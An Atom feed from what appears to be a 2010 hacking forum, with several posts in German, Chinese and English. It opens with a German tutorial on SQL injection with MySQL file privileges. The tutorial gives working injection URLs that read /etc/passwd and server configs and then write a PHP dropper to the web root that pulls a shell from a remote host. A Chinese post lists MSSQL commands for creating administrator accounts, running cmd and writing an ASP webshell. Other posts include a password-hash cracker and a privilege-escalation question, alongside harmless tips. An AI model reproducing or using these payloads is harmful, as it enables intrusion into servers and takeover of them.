<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<title type="html"><![CDATA[milsec.net]]></title>
	<link rel="self" href="http://www.milsec.net/extern.php?action=feed&amp;type=atom"/>
	<updated>2010-09-03T17:28:40Z</updated>
	<generator>PunBB</generator>
	<id>http://www.milsec.net/index.php</id>
		<entry>
			<title type="html"><![CDATA[mySQL File Privilegien]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=298&amp;action=new"/>
			<summary type="html"><![CDATA[<div class="codebox"><pre><code>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
#            WEBSECURITY DOCUMENTATION                #
#        --------------------------------------       #
#          SQL Injection with File Privileges         #
#        --------------------------------------       #
#                                                     #
#                                                     #
#  [+] written by fred777 [fred777.5x.to]             #
#                                                     #
******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--[0x00]-- Intro

--[0x01]-- Knowledge
   [1] Load_File
   [2] Dumpfile und Outfile

--[0x02]-- Exploiting
   [1] Privilegien mit mysql.user
   [2] Privilegien mit information_schema
   [3] Directories mittels Error
   [4] Directories mittels Configfiles
   [5] Schreiben mit DUMPFILE

--[0x03]-- Finito

********************************************************
##################################################

--[0x00]-- Intro

Willkommen zu meinem Tutorial über die File Privilegien bei SQL Injections.
Ich denke auch hier werden ich nicht jeden Befehl erklären, da er in anderen Tutorials bereits
erklärt wurde...
Neue Sachen werden selbstverständlich dokumentiert.

#############################################################

--[0x01]-- Knowledge

-------------------------------------------------------
 [1] LOAD_FILE
-------------------------------------------------------

Wir werden wie schon bekannt mit Selectqueries arbeiten, doch kommt noch etwas Neues hinzu, zum
ersten mal LOAD_FILE(). Sofern die Rechte stimmen, wird das angegebene File gelesen,
der Inhalt als String zurückgegeben und das Resultat ausgegeben.
Die Datei muss lesbar sein und kleiner sein als max_allowed_packet Bytes. Ansonsten wird NULL
zurückgegeben.
Der Syntax ist recht einfach: LOAD_FILE(&#039;&lt;absoluter pfad&gt;&#039;)

-------------------------------------------------------
 [2] Dumpfile und Outfile
-------------------------------------------------------

Kommen wir nun zu INTO OUTFILE und INTO DUMPFILE, hier werden die angegebenen Datensätze
in eine Datei (OUTFILE) geschrieben. Auch hier muss natürlich die Berechtigung stimmen.
Allerdings muss OUTFILE &#039;file&#039; ein nicht vorhandenes File sein, sonst könnte man einfach die
etc/passwd überschreiben oder Sonstiges anrichten. 
Die Datei kann von allen Benutzern geschrieben werden, da MySQL Server selbst gar keine Datei erstellen kann, 
deren Besitzer jemand anders als der eigentliche Benutzer ist, insofern ist es schlecht, 
mysqld als root auszuführen. Doch was ist der Unterschied von INTO OUTFILE und INTO DUMPFILE?
Mit Dumpfile wird nur ein Datensatz verwendet ohne lästige Zeichen wie Trennunszeichen etc..
Deshalb verwenden wir hier ebenfalls DUMPFILE.

Syntax: SELECT * INTO DUMPFILE &#039;&lt;absoluter pfad&gt;&#039;

##############################################################

--[0x02]-- Exploiting

Wir haben also eine Lücke und eine Ausgabe:
www.seite.de/index.php?id=777+union+select+1,2,3,4-- f  =&gt; 3 wird ausgegeben

Schauen wir doch gleich mal, ob magic_quotes on oder off sind, d.h. ob bestimmte Zeichen
escaped werden..

www.seite.de/index.php?id=777+union+select+1,2,&#039;test&#039;,4-- f  =&gt; test wird ausgegeben

-------------------------------------------------------
 [1] Privilegien mit mysql.user
-------------------------------------------------------

Umso besser, wir müssen nicht mit hex arbeiten. Unser Ziel ist es, am Schluss eine Shell auf den
Server zusetzen, bzw auszuführen. Zuerst schauen wir allerdings ob uns die File Privilegien gegeben sind.
Dafür gibt es mehrere Möglichkeiten dies herauszufinden. Erstens über die mysql.user Tabelle.
Wir benötigen natürlich die Rechte für aktuellen User, welchen wir mit user() auslesen können:

www.seite.de/index.php?id=777+union+select+1,2,user(),4-- f  =&gt; fred@localhost wird ausgegeben

Wie gesagt, die File Privilegien liegen als Column &#039;file_priv&#039; in der mysql.user Table:

www.seite.de/index.php?id=777+union+select+1,2,concat(username,0x3a,file_priv),4+from+mysql.user+limit+0,1 -- f  =&gt; YES

Mit Limit gehen wir die User durch und schauen wie es mit unseren steht, es wird YES ausgegeben, d.h. die Rechte
sind gegeben.

-------------------------------------------------------
 [2] Privilegien mit information_schema
-------------------------------------------------------

Die zweite Möglichkeit funktioniert nur ab Version 5 mittels der INFORMATION_SCHEMA Datenbank, auch hier sind
die Rechte gespeichert, und zwar in der Table: user_privileges
Wir sagen, wir möchten den Usernamen (grantee) und die Option (is_grantable) haben mit dem Privilegientyp FILE:

www.seite.de/index.php?id=777+union+select+1,2,concat(grantee,0x3a,is_grantable),4+from+information_schema.user_privileges+where+privilege_type=&#039;file&#039;+limit+0,1 -- f

Auch hier suchen wir mit Limit nach unserem user aus user() und schauen ob NO oder YES ausgegeben wird.
Natürlich könnten wir auch eine WHERE Bedingung starten, welche uns direkt den User ausgibt, doch damit steigt
auch die Fehlerquote, deshalb machen wir es einfach mit Limit. Man muss natürlich auf magic_quotes achten, falls
es auf ON steht, werden z.B. &#039; escaped, dann muss mit Hex gearbeitet werden.

-------------------------------------------------------
 [3] Directories mittels Error
-------------------------------------------------------

So, jetzt wissen wir, dass die nötigen Rechte gegeben sind. Da wir ja später in eine Datei schreiben möchten,
brauchen wir erstmal Informationen über das Betriebssystem, sowie den richtigen Pfad, dass unsere Datei
dann auch mittels dem Webserver freigegeben wird.
Um an den Pfad zu gelangen gibt es auch verschiedene Möglichkeiten, z.B. durch einen Error, welcher
automatisch den Pfad der Datei ausgeben kann, dies kann einfach dur einen invaliden Query passieren:

www.seite.de/index.php?id=777&#039;&#039;&#039;&#039;&#039;-- f    =&gt;

mysql_fetch_array() Error..... in /var/fred/www/mysql.php

Somit wissen wir, dass die Seite ziemlich sicher auf Linux läuft und wir können unser Load_file gleich mal testen. 
Eine Datei welche bei Linux immer vorhanden ist, ist etc/passwd.

www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;/etc/passwd&#039;),4-- f
Tada, es erscheint der Inhalt wie erwünscht.

Usere Datei später können wir also einfach nach /var/fred/www/&lt;unseredatei&gt; schreiben lassen.

Bei Windows würde der Pfad etwa so aussehen:
mysql_fetch_array()..... in C:\xampp\htdocs\sql.php
Und die Datei welche bei Windows eigentlich immer besteht ist C:\boot.ini

www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;C:\boot.ini&#039;),4-- f

-------------------------------------------------------
 [4] Directories mittels Configfiles
-------------------------------------------------------

Eine andere Methode ist die Configdatei des Webservers auszulesen, hilfreich dann z.B.
wenn kein Error erscheint. Wir nehmen mal an, es wird Apache benutzt. Häufig sitzt das
File so:

/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf

Sollte nicht Apache benutzt werden, kann man sich das Package immer noch laden und
manuell nach schauen. Um die Dateien auszulesen, benutzen wir wieder load_file()..

www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;/etc/apache/apache.conf&#039;),4-- f

-------------------------------------------------------
 [5] Schreiben mit DUMPFILE
-------------------------------------------------------

So kommen wir nun zu INTO DUMPFILE, printipiell wird einfach das was selected wird in 
eine Datei geschrieben, einfach unter Linux im TMP Ordner zu zeigen:

www.seite.de/index.php?id=777+union+select+1,2,&#039;test&#039;,4+INTO DUMPFILE+&#039;/tmp/1.txt&#039;-- f

Wir bekommen einen Error, das soll uns aber nicht aufhalten, wir benutzen load_file
um den Inhalt anzuzeigen:

www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;/tmp/1.txt&#039;),4-- f =&gt; 12test4

Es funktioniert also wunderbar.
Jetzt können wir unsere eigenen Files erstellen, eine Shell z.B., da das aber eine Menge Text
ist, wäre ein Uploader sicher besser, außerdem soll unsere Datei ja im richtigen Verzeichnis laden.
PHP Files z.B. warten ja darauf ausgeführt zu werden. Ich nehme dazu einen relativ kleinen Code,
welcher, sobald ausgeführt, eine Shell erstellt.

&lt;?$c=fopen(&quot;shell.php&quot;,&quot;a&quot;);fwrite($c,file_get_contents(&quot;http://seite.de/shell.txt&quot;));?&gt;

www.seite.de/index.php?id=777+union+select+1,2,&#039;&lt;?$c=fopen(&quot;shell.php&quot;,&quot;a&quot;);fwrite($c,file_get_contents(&quot;http://seite.de/shell.txt&quot;));?&gt;&#039;,4+into+DUMPFILE+&#039;/var/fred/www/1.php&#039;-- f

Sollte uns durch z.B. den mySQL Error nur ein Teil des Pfades gezeigt werden, 
können wir immer noch mit ../../../../../ weiter zurück springen.

www.seite.de/index.php?id=777+union+select+1,2,&#039;&lt;?$c=fopen(&quot;shell.php&quot;,&quot;a&quot;);fwrite($c,file_get_contents(&quot;http://seite.de/shell.txt&quot;));?&gt;&#039;,4+into+DUMPFILE+&#039;../../www/1.php&#039;-- f

Natürlich funktioniert das auch mit Hex, keine Angst vor der Länge des Strings:

www.seite.de/index.php?id=777+union+select+1,2,
0x3c3f24633d666f70656e28227368656c6c2e706870222c226122293b6677726974652824632c66696c655f6765745f636f6e74656e74732822687474703a2f2f73656974652e64652f7368656c6c2e7478742229293b3f3e
,4+into+dumpfile+&#039;../../www/1.php&#039;-- f

So, jetzt sollte in diesem Verzeichnis die 1.php erstell worden sein und bei Aufruf wird eine Shell erstellt, bzw. 
eine Datei mit dem Code, welcher in der TXT Datei steht. Haben wir das richtige Verzeichnis gewählt, ist die
1.php auf: www.seite.de/1.php verfügbar

Es hat also alles geklappt, unter Windows wäre das nicht viel anders abgelaufen:
Wir testen:
www.seite.de/index.php?id=777+union+select+1,2,&#039;test&#039;,4+into+dumpfile+&#039;C:\1.txt&#039;-- f 
www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;C:\1.txt&#039;),4-- f  =&gt; 12test4

Alles funktioniert, jetzt also den absoluten Pfad der Seite C:\xampp\htdocs\sql.php

und unsern lieben Text wieder:
www.seite.de/index.php?id=777+union+select+1,2,&#039;&lt;?$c=fopen(&quot;shell.php&quot;,&quot;a&quot;);fwrite($c,file_get_contents(&quot;http://seite.de/shell.txt&quot;));?&gt;&#039;,4+into+DUMPFILE+&#039;C:\xampp\htdocs\test\1.php&#039;-- f
Und das ganze aufrufen:
www.seite.de/test/1.php =&gt; Shell wird erstellt und ist unter
www.seite.de/test/shell.php verfügbar

#################################################################

--[0x03]-- Finito

So ich hoffe ihr habt alles so weit verstanden. Falls nicht, lieber noch meine anderen
Paper lesen auf fred777.5x.to</code></pre></div>]]></summary>
			<author>
				<name><![CDATA[Akira]]></name>
				<uri>http://www.milsec.net/profile.php?id=9</uri>
			</author>
			<updated>2010-09-03T17:28:40Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=298&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[oracle 11g Database password-hash cracker]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=136&amp;action=new"/>
			<summary type="html"><![CDATA[<div class="codebox"><pre><code>#!python 
 
# PoC Oracle 11g Database password-hash cracker 
# This program uses the password hash value spare from the internal 
# oracle user-database and a list of passwords via stdin to calculate a new 
# hash value of the plaintext password. The new generated hash value is subsequently 
# compared against the hash-value from sys.user, the internal oracle user-database. 
 
# Author: Thorsten Schroeder &lt;ths theAthing recurity-labs.com&gt; 
# Berlin, 19. Sep. 2007 
 
# TODO: 
# cut passwords at length 30 
 
import hashlib 
import binascii 
import sys 
 
def main(): 
 
    if( len(sys.argv) != 60 ): 
     usage() 
     sys.exit(1) 
 
    try: 
        oraHash = sys.argv[1] 
        oraSalt = oraHash[40:60] 
        oraSha1 = oraHash[:40] 
        oraSha1 = oraSha1.upper() 
 
        print &quot;[+] using salt: 0x%s&quot; % oraSalt 
        print &quot;[+] using hash: 0x%s&quot; % oraSha1 
 
        for passwd in sys.stdin: 
            passwd = passwd.rstrip() 
            #print &quot;[*] trying password &quot;%s&quot;&quot; % passwd 
 
            s = hashlib.sha1() 
            s.update(passwd) 
            s.update(binascii.a2b_hex(oraSalt)) 
            if( s.hexdigest().upper() == oraSha1 ): 
                print &quot;[*] MATCH! -&gt; %s&quot; % passwd 
                sys.exit(0) 
 
    except Exception, e: 
            print &quot;[!] Error: &quot;, e 
            usage() 
    raise 
 
    sys.exit(0) 
 
def usage(): 
    print &quot;[+] usage: ./ora11gPWCrack.py &lt;hex-value&gt; &lt; wordlist.txt&quot; 
    return 
 
if __name__ == &#039;__main__&#039;: 
    main()</code></pre></div>]]></summary>
			<author>
				<name><![CDATA[Kernel@Sh]]></name>
				<uri>http://www.milsec.net/profile.php?id=2</uri>
			</author>
			<updated>2010-09-01T14:58:47Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=136&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[The Oracle Hackers Handbook绝对好书]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=209&amp;action=new"/>
			<summary type="html"><![CDATA[<p>想学Oracle Hacking必看书，比网上那些XX教程好N倍啊！</p><p>这几天一口气看完，全身舒畅</p><p>吐血推荐！</p>]]></summary>
			<author>
				<name><![CDATA[Kernel@Sh]]></name>
				<uri>http://www.milsec.net/profile.php?id=70</uri>
			</author>
			<updated>2010-09-01T14:57:15Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=209&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[入侵时.bash_history的隐患]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=284&amp;action=new"/>
			<summary type="html"><![CDATA[<p>文章见下面的链接<br /><a href="http://hi.baidu.com/p3rlish/blog/item/f0ca3c449e77198fb2b7dc0c.html">http://hi.baidu.com/p3rlish/blog/item/f &#133; 7dc0c.html</a></p><p>what a fucking program！fuck punbb,it&#039;s a piece of shit!!!!</p>]]></summary>
			<author>
				<name><![CDATA[hcntex]]></name>
				<uri>http://www.milsec.net/profile.php?id=2</uri>
			</author>
			<updated>2010-08-29T10:26:46Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=284&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[some mssql tips]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=227&amp;action=new"/>
			<summary type="html"><![CDATA[<p>--取得所有数据库名 包括系统数据库 <br />--SELECT name FROM master.dbo.sysdatabases <br />--取得所有非系统数据库名 <br />--select [name] from master.dbo.sysdatabases where DBId&gt;6 Order By [Name] <br />--取所有信息,包括数据库文件地址 <br />--select * from master.dbo.sysdatabases where DBId&gt;6 Order By [Name] </p><br /><br /><br /><p>1、连接数据库</p><p>driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名</p><p>2、添加新用户</p><p>declare @shell int exec sp_oacreate &#039;wscript.shell&#039;,@shell output exec sp_oamethod @shell,&#039;run&#039;,null,&#039;c:\windows\system32\cmd.exe /c net user 新用户 密码 /add&#039;</p><p>3、把用户加到管理组</p><p>declare @shell int exec sp_oacreate &#039;wscript.shell&#039;,@shell output exec sp_oamethod @shell,&#039;run&#039;,null,&#039;c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add&#039;</p><p>4、激活GUEST用户</p><p>declare @shell int exec sp_oacreate &#039;wscript.shell&#039;,@shell output exec sp_oamethod @shell,&#039;run&#039;,null,&#039;c:\windows\system32\cmd.exe /c net user guest /active:yes&#039;</p><p>5、把Guest加到管理组</p><p>declare @shell int exec sp_oacreate &#039;wscript.shell&#039;,@shell output exec sp_oamethod @shell,&#039;run&#039;,null,&#039;c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add&#039; </p><p>列目录<br />exec master.dbo.xp_subdirs &#039;c:\&#039;</p><p>exec master.dbo.xp_dirtree &#039;c:&#039;,1,1&nbsp; db_owner权限可以执行</p><p>exec master.dbo.xp_dirtree &#039;c:/Program Files&#039;,1,1</p><p>执行命令<br />exec master.dbo.xp_cmdshell &#039;&#039;</p><p>程序代码,写入webshell</p><p>exec master.dbo.xp_subdirs &#039;d:\web\www.xx.com&#039;;<br />exec sp_makewebtask &#039;d:\web\www.XXXX.com\XX.asp&#039;,&#039;select&#039;&#039;&lt;%execute(request(&quot;SB&quot;))%&gt;&#039;&#039;</p>]]></summary>
			<author>
				<name><![CDATA[Sh@doM]]></name>
				<uri>http://www.milsec.net/profile.php?id=2</uri>
			</author>
			<updated>2010-08-18T03:01:14Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=227&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[几个bash script tips吧]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=138&amp;action=new"/>
			<summary type="html"><![CDATA[<p>要玩的转linux shell脚本的功力是必须练好的。</p><p>别说我会perl ,会python 要懂shell干什么，但是用的多了你就会发现，很多时候shell的力量是很惊人的。</p><p>比如apache日志中我想统计，访问了哪些文件<br />awk &#039;{ print $7 }&#039; access_log | cut -d &#039;?&#039; -f 1 | sort -u</p><p>$7这个可能需要你自己确定一下，有个access_log的URI可能不在第7列。</p><p>再比如将某个文件中的某些字符替换成其他的<br />以前我喜欢用sed -i &#039;s/xxx/yyy/g&#039; xxx.txt<br />后来发现replace 命令也很好用</p><p>replace xxx yyy -- xxx.txt </p><p>后面想到什么就会跟贴 <img src="http://www.milsec.net/img/smilies/smile.png" width="15" height="15" alt="smile" /></p>]]></summary>
			<author>
				<name><![CDATA[trust]]></name>
				<uri>http://www.milsec.net/profile.php?id=70</uri>
			</author>
			<updated>2010-08-13T12:01:18Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=138&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Super Bluetooth Hack]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=48&amp;action=new"/>
			<summary type="html"><![CDATA[<p>一款蓝牙入侵软件<br />可惜 貌似我没发现除了恶搞下 还能做些啥 <br />因为 貌似它得要人同意……<br />下载地址：http://www.getjar.com/products/13076/SuperBluetoothHack<br />选择好自己的机器型号 下载下来装上就OK了 (1.07比1.8要好)<br />使用方法很easy 一试就知道</p><p>PS：这个网站的软件不少 自己发掘吧</p>]]></summary>
			<author>
				<name><![CDATA[trust]]></name>
				<uri>http://www.milsec.net/profile.php?id=11</uri>
			</author>
			<updated>2010-08-13T11:56:13Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=48&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[aircrack-ptw – Fast WEP Cracking Tool for Wireless Hacking]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=275&amp;action=new"/>
			<summary type="html"><![CDATA[<p>WEP is a protocol for securing wireless LANs. WEP stands for “Wired Equivalent Privacy” which means it should provide the level of protection a wired LAN has. WEP therefore uses the RC4 stream to encrypt data which is transmitted over the air, using usually a single secret key (called the root key or WEP key) of a length of 40 or 104 bit.</p><p>A history of WEP and RC4</p><p>WEP was previously known to be insecure. In 2001 Scott Fluhrer, Itsik Mantin, and Adi Shamir published an analysis of the RC4 stream cipher. Some time later, it was shown that this attack can be applied to WEP and the secret key can be recovered from about 4,000,000 to 6,000,000 captured data packets. In 2004 a hacker named KoReK improved the attack: the complexity of recovering a 104 bit secret key was reduced to 500,000 to 2,000,000 captured packets.</p><p>In 2005, Andreas Klein presented another analysis of the RC4 stream cipher. Klein showed that there are more correlations between the RC4 keystream and the key than the ones found by Fluhrer, Mantin, and Shamir which can additionally be used to break WEP in WEP like usage modes.</p><p>The aircrack-ptw attack</p><p>The aircrack team were able to extend Klein’s attack and optimize it for usage against WEP. Using this version, it is possible to recover a 104 bit WEP key with probability 50% using just 40,000 captured packets. For 60,000 available data packets, the success probability is about 80% and for 85,000 data packets about 95%. Using active techniques like deauth and ARP re-injection, 40,000 packets can be captured in less than one minute under good condition. The actual computation takes about 3 seconds and 3 MB main memory on a Pentium-M 1.7 GHz and can additionally be optimized for devices with slower CPUs. The same attack can be used for 40 bit keys too with an even higher success probability.</p><p>Countermeasures</p><p>We believe that WEP should not be used anymore in sensitive environments. Most wireless equipment vendors provide support for TKIP (as known as WPA1) and CCMP (also known as WPA2) which provides a much higher security level. All users should switch to WPA1 or even better WPA2.</p><p>You can download aircrack-ptw here:</p><p><a href="http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/download/aircrack-ptw-1.0.0.tar.gz">http://www.cdc.informatik.tu-darmstadt. &#133; 0.0.tar.gz</a></p><br /><p>Or read more here.<br /><a href="http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/">http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/</a></p><p>Find an aircrack-ptw How To here.</p>]]></summary>
			<author>
				<name><![CDATA[trust]]></name>
				<uri>http://www.milsec.net/profile.php?id=2</uri>
			</author>
			<updated>2010-08-13T11:55:01Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=275&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[一些linux下面的后门和键盘记录工具]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=240&amp;action=new"/>
			<summary type="html"><![CDATA[<p>一些比较流行的后门，放出来把</p>]]></summary>
			<author>
				<name><![CDATA[bnzm5270]]></name>
				<uri>http://www.milsec.net/profile.php?id=2</uri>
			</author>
			<updated>2010-08-13T11:27:46Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=240&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[问个提权问题]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=263&amp;action=new"/>
			<summary type="html"><![CDATA[<div class="codebox"><pre><code>total 80
drwxrwxrwx 2 apache apache  4096 May 21 01:05 .
drwxr-xr-x 4 apache apache  4096 May 21 00:57 ..
-rwxrwxrwx 1 apache apache  9113 Sep 11  2009 exploit.c
-rwxrwxrwx 1 apache apache   358 Sep 11  2009 exploit-pulseaudio.c
-rwxr-xr-x 1 apache apache 11071 May 21 01:05 local
-rwxrwxrwx 1 apache apache  1127 Sep 11  2009 run
-rwxrwxrwx 1 apache apache  1068 Sep 11  2009 runcon-mmap_zero
-rwxrwxrwx 1 apache apache  1018 Sep  7  2009 sesearch-mmap_zero
bash-3.2$ ./local
bash: ./local: Permission denied
bash-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache),106(nagios),503(ftpadmin) contex
t=user_u:system_r:httpd_t:s0
bash-3.2$ w
 01:36:43 up 107 days, 14:16,  0 users,  load average: 0.79, 1.55, 1.95
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
bash-3.2$ last
last: /var/log/wtmp: Permission denied
bash-3.2$ uptime
 01:36:48 up 107 days, 14:16,  0 users,  load average: 0.73, 1.53, 1.94
bash-3.2$</code></pre></div><p>这样的没什么权限.<br />怎么办<br />有gcc权限</p>]]></summary>
			<author>
				<name><![CDATA[Sh@doM]]></name>
				<uri>http://www.milsec.net/profile.php?id=24</uri>
			</author>
			<updated>2010-08-10T08:42:49Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=263&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Nokia N900]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=236&amp;action=new"/>
			<summary type="html"><![CDATA[<p><span class="postimg"><img src="http://www.nokian900.com/wp-content/uploads/2009/08/Nokia-N900-chat.jpg" alt="http://www.nokian900.com/wp-content/uploads/2009/08/Nokia-N900-chat.jpg" /></span></p><p>Display3.5 inch touch-sensitive widescreen display <br />800 × 480 pixel resolution <br />Language supportBritish English, American English, Canadian French, Czech, Danish, Dutch, Finnish, French, German, Italian, Norwegian, Polish, Portuguese, Spanish, Latin American Spanish, Swedish, Russian</p><p>Connectivity3.5mm AV connector <br />TV out (PAL/NTSC) with Nokia Video Connectivity Cable <br />Micro-USB connector, High-Speed USB 2.0 <br />Bluetooth v2.1 including support for stereo headsets <br />Integrated FM transmitter <br />Integrated GPS with A-GPS <br />BatteryBL-5J 1320mAh</p><p>Processor and 3D acceleratorTI OMAP 3430: ARM Cortex-A8 600 MHz, PowerVR SGX with OpenGL ES 2.0 support</p><p>MemoryUp to 1GB of application memory (256 MB RAM, 768 MB virtual memory)</p><p>Size and weightVolume: Approx 113cc Dimensions: 110.9 × 59.8 × 18 (19.55 at thickest part) mm Weight: Approx 181g Mass memory32 GB internal storage <br />Store up to 7000 MP3 songs or 40 hours of high-quality video <br />Up to 16 GB of additional storage with an external microSD card <br />Keys and input methodFull QWERTY tactile keyboard <br />Full QWERTY onscreen keyboard <br />ColourBlack</p><p>Operating frequencyQuad-band GSM EDGE 850/900/1800/1900 <br />WCDMA 900/1700/2100 MHz <br />Data networkGPRS class A, multislot class 32, maximum speed 107/64.2 kbps (DL/UL) EDGE class A, multislot class 32, maximum speed 296/177.6 kbps (DL/UL) WCDMA 900/1700/2100. Maximum speed PS 384/384 kbps (DL/UL) HSPA 900/1700/2100. Maximum speed PS 10/2 Mbps (DL/UL) WLAN IEEE 802.11b/g</p><p>Call featuresIntegrated hands-free stereo speakers <br />Call waiting, call hold, call divert <br />Call timer <br />Logging of dialed, received and missed calls <br />Speed dialing via contact widget <br />Virbrating alert (internal) <br />Side volume keys <br />Mute/unmute <br />Contacts with images <br />Conference calling with up to 3 participants <br />Internet calling <br />Email &amp; MessagingSupported protocols: Mail for Exchange, IMAP, POP3, SMTP <br />Support for email attachments <br />Support for rich HTML <br />SMS and Instant Messages as conversations <br />Support for Nokia Messaging service <br />Instant messaging and presence enhanced contacts <br />Multiple number, email and Instant Messaging details per contact, contacts with images <br />Support for assigning images to contacts <br />Web browsingMaemo browser powered by Mozilla technology <br />Adobe Flash™ 9.4 support <br />Full screen browsing <br />GPSIntegrated GPS, Assisted-GPS, and Cell-based receivers <br />Pre-loaded Ovi Maps application <br />Automatic geotagging <br />Camera5 megapixel camera (2584 × 1938 pixels) <br />Image formats: JPEG <br />CMOS sensor, Carl Zeiss optics, Tessar lens <br />3 × digital zoom <br />Autofocus with assist light and two-stage capture key <br />Dual LED flash <br />Full-screen viewfinder <br />Photo editor on device <br />TV out (PAL/NTSC) with Nokia Video Connectivity Cable (CA-75U, included in box) or WLAN/UPnP <br />Landscape (horizontal) orientation <br />Capture modes: Automatic, portrait, video, macro, landscape, action <br />VideoWide aspect ratio 16:9 (WVGA) <br />Video recording file format: .mp4; codec: MPEG-4 <br />Video recording at up to 848 × 480 pixels (WVGA) and up to 25fps <br />Video playback file formats: .mp4, .avi, .wmv, .3gp; codecs: H.264, MPEG-4, Xvid, WMV, H.263 <br />Music and audio playbackMaemo media player <br />Music playback file formats: .wav, .mp3, .AAC, .eAAC, .wma, .m4a <br />Built-in FM transmitter <br />Ring tones: .wav, .mp3, .AAC, .eAAC, .wma, .m4a <br />FR, EFR, WCDMA, and GSM AMR <br />PersonalisationBackground pictures <br />Widgets on your desktops <br />Intelligent contact shortcuts <br />Shortcuts to your favourite websites <br />Shortcuts to applications <br />Themes <br />Operating systemMaemo 5 software on Linux</p><p>ApplicationsMaemo Browser <br />Phone <br />Conversations <br />Contacts <br />Camera <br />Photos <br />Media player <br />Email <br />Calendar <br />Ovi Maps <br />Clock <br />Notes <br />Calculator <br />PDF reader <br />File manager <br />RSS reader <br />Sketch <br />Games <br />Widgets <br />Application manager for downloads <br />GamingBounce <br />Chess <br />Mahjong <br />What´s in the boxNokia N900 <br />Nokia Battery (BL-5J) <br />Nokia High Efficiency Charger (AC-10) <br />Nokia Stereo Headset (WH-205) <br />Video out cable (CA-75U) <br />Nokia charger adaptor (CA-146C) <br />Cleaning cloth</p>]]></summary>
			<author>
				<name><![CDATA[yorkz]]></name>
				<uri>http://www.milsec.net/profile.php?id=2</uri>
			</author>
			<updated>2010-08-08T11:27:36Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=236&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[如何升级内核到2.6.34]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=290&amp;action=new"/>
			<summary type="html"><![CDATA[<p>apt-get update<br />apt-get install linux-image-2.6.34<br />dpkg -i --force-all /var/cache/apt/archive/linux-image-2.6.34_2.6.34-10.00.Custom-bt7_i386.deb<br />apt-get dist-upgrade<br />apt-get clean<br />depmod -a<br />cd /usr/src/<br />rm -rf linux linux-source-2.6.30.9*<br />rm -rf /lib/modules/2.6.30.9/<br />tar jxpf linux-source-2.6.34.tar.bz2<br />ln -s linux-source-2.6.34 linux<br />cd linux<br />cp /boot/config-2.6.34 .config<br />ln -s /usr/src/linux /lib/modules/2.6.34/build<br />make scripts &amp;&amp; make prepare<br />rm -f /boot/config-2.6.30.9<br />rm -f /boot/System.map-2.6.30.9<br />rm -f vmlinuz-2.6.30.9<br />apt-get clean &amp;&amp; updatedb &amp;&amp; update-grub<br />reboot<br />ufw rules错误修复<br />将/etc/ufw/before.rules before6.rules 中的&quot;-m conntrack --ctstate&quot; 改为 &quot;-m state --state&quot;<br />中文环境<br />vim /etc/envirement <br />export LC_ALL=&quot;zh_CN.UTF-8&quot;<br />开机eth0自动dhcp<br />rc-update.d networking default<br />猪！我很笨，但我知道的我会拿出来共享，不会私藏装x</p>]]></summary>
			<author>
				<name><![CDATA[lxvison]]></name>
				<uri>http://www.milsec.net/profile.php?id=194</uri>
			</author>
			<updated>2010-08-07T14:02:50Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=290&amp;action=new</id>
		</entry>
		<entry>
